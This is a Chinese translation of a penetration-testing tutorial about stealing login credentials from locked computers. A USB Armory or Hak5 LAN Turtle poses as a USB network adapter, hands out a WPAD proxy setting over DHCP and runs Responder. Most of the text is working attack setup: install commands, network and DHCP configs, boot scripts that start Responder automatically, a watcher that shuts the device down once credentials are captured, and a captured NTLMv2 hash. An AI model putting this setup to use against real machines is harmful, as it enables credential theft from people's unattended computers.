http://p2.qhimg.com/t01ecf6e06f37382923.jpg



前言


使用USB对系统进行入侵已不是一个新鲜的话题,随着这种攻击的普遍化,各大安全厂商也完善了对USB的检测机制。但是来自国外的渗透测试工程师Rob Fuller采用了另类的方式,通过将USB伪装成网络适配器来窃取系统登录凭证。

一开始,大家觉得使用这种方法是不可行的,在我之前肯定有人对其进行了验证,但是经过我多次测试使我不得不相信这方法的可行性。

给出公式:USB Ethernet + DHCP + Responder == 凭证


环境配置


我使用的是一款名为 USB Armory设备,但同时我会讲解Hak5 Turtle设备的使用。我不会逐一讲解这两款设备安装和配置的详细步骤,下面的一些链接能帮到你:

USB Armory

Debian/Jessie - https://github.com/inversepath/usbarmory/wiki/Starting#preparing-your-own-microsd-card

Kali on USB Armory - http://docs.kali.org/kali-on-arm/kali-linux-on-usb-armory

Resizing the SD partition - http://base16.io/?p=61ki/#!videos.md

Hak5 Turtle

Turtle video guides and wiki: https://lanturtle.com/wiki/#!videos.md


工具准备


这里我们需要用到 Laurent Gaffié 所编写的Responder软件,首先,我们把它安装到设备上。Hak5 Turtle已内置了该模块,如图

http://p1.qhimg.com/t0138d9d226d59cf6b6.png

在此之前确保已经连上了网络,之后选中responder模块, 它会自动下载所有的依赖和软件。为了确保responer能正常运行,我们还需要执行以下命令

1
2
opkg update
opkg install python-openssl

而对于USB Armory 你可以选择把它作为业务控制点(SCP), Inetrnet连接共享(Internet Connection Sharing)或是USB主机/客户端适配器(USB host/client adapter)来使用。若是安装的Debian/Jessie系统,默认是没有Python 环境的,需要自行安装各种包和依赖,而对于Kali已自带,在安装过程中确保已连上了网络。

安装代码如下

1
2
3
apt-get install -y python git python-pip python-dev screen sqlite3
pip install pycrypto
git clone https://github.com/spiderlabs/responder


设备配置


Armory

虽然配置网络接口不是必须的,但是当我们测试不同系统时,Armory会被分配不同的IP地址,这很有必要设置一个固定的ip地址,将它作为基准。

/etc/network/interfaces/

1
2
3
4
5
6
7
8
# interfaces(5) file used by ifup(8) and ifdown(8)# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d
auto usb0
allow-hotplug usb0
iface usb0 inet static
  address 192.168.2.201
  netmask 255.255.255.0
  gateway 192.168.2.1

之后我们配置DHCP 服务器。

/etc/dhcp/dhcp.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ddns-update-style none;
option domain-name "domain.local";
option domain-name-servers 192.168.2.201;
default-lease-time 60;
max-lease-time 72;
# If this DHCP server is the official DHCP server for the local# network, the authoritative directive should be uncommented.
authoritative;
# Use this to send dhcp log messages to a different log file (you also# have to hack syslog.conf to complete the redirection).log-facility local7;
# wpad
option local-proxy-config code 252 = text;
# A slightly different configuration for an internal subnet.
subnet 192.168.2.0 netmask 255.255.255.0 {
  range 192.168.2.1 192.168.2.2;
  option routers 192.168.2.201;
  option local-proxy-config "http://192.168.2.201/wpad.dat";
}

这样配置之后,会给所有的DHCP客户端发送代理配置(Proxy Config),为什么要这样做,我也不是很清楚,但是记住一点:"DHCP 的优先级高于 DNS:如果 DHCP 提供了 WPAD 链接,DNS不会进行查询",摘自Wikipedia的WPAD文档。(“DHCP has a higher priority than DNS: if DHCP provides the WPAD URL, no DNS lookup is performed.”from the Wikipedia article on WPAD

之后,我们配置rc.local文件,让它每次启动时都能自动实现以下功能:

1. 清除所有的DHCP的leases文件且启动DHCP服务:

因为我们插入拔出USB的频率非常的高,有可能达到DHCP的leases列表的上限,并且有极大的可能性造成一些文件的损坏,所以我们将它们全部删掉然后重新添加。

2. 开启responder的窗口会话:

将responser的会话日志以Sqlite3数据库格式记录下来。

/etc/rc.local

1
2
3
4
5
6
7
8
9
#!/bin/sh -e
# Clear leases
rm -f /var/lib/dhcp/dhcpd.leases
touch /var/lib/dhcp/dhcpd.leases
# Start DHCP server
/usr/sbin/dhcpd
# Start Responder
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'
exit 0

为了让记录的日志文件的易读性更高,这里追加一个.screenrc文件

/root/.screenrc

1
2
3
# Logging
deflog on
logfile /root/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log

大功告成,重启USB Armory然后把它插到任何你想获取凭证的机器上吧。

Hak5 Turtle

系统已帮你配置好了大部分设置,但是opkg包需要你手动配置

1
2
opkg update
opkg install python-openssl screen

移除 /tmp/ 目录下的符号链接

1
rm -rf /overlay/etc/turtle/Responder/logs

/overlay/etc/rc.local 文件的配置也稍有不同

/overlay/etc/rc.local

1
2
3
/etc/init.d/dnsmasq stop
/usr/sbin/screen -dmS responder bash -c 'cd /overlay/etc/turtle/Responder; 
python Responder.py -I br-lan -f -w -r -d -F'


工作原理


1. 因为USB是一个即插即用的设备,那就意味着即使系统上了锁,但是驱动一样会被安装,但是这一定存在一个限制,即哪些驱动会被允许在已上锁的系统上安装运行,我相信网络适配器一定在白名单上。

2. 即使没有打开浏览器或是应用,计算机也会不间断地向外通信,并且绝大多数计算机信任本地网络

3. 当存在多个网关或是网络连接时,windows会基于权值(metrics)、OSX基于preference进行配置,但是都会默认选择有线且较新较快的设备,那就意味着插入设备之后通过Responder软件,它能够变成网关,DNS服务端,WPAD服务端或是其他。


测试结果


插入设备之后,获取到凭据的平均时间大概是13秒,基于不同的系统这个数值会上下浮动。我们可以使用inotify软件观察Responder.db文件的变动,之后关闭Armory。这有助于让我们通过USB的LED灯知道是否获取到了凭证。

这里我们需要安装inotify-tools包,之后把它追加到rc.local文件里

1
2
echo "Staring cred watch" >> /root/rc.log
/usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /root/responder/Responder.db; do shutdown -h now; done'

测试结果如下:

1

root@wpad:~# sqlite3 /root/responder/Responder.db 'select * from responder'2016-09-04 10:59:43|HTTP|NTLMv2|192.168.2.1||SITTINGDUCK\mubix||5EAEA2859C397D8AE48CA87F:01010000000001E9D23F49F7891F38965D80A0010000000000000

000000000000000000900260048005400540050002F007800780066006600730062006E0070006300000000000000....

太棒了,成功!


演示视频



已测试平台


Windows 98 SE

Windows 2000 SP4

Windows XP SP3

Windows 7 SP1

Windows 10 (Enterprise and Home)

OSX El Capitan / Mavericks


本文由 安全客 翻译,作者:Starrk叔叔

原文链接:https://room362.com/post/2016/snagging-creds-from-locked-machines/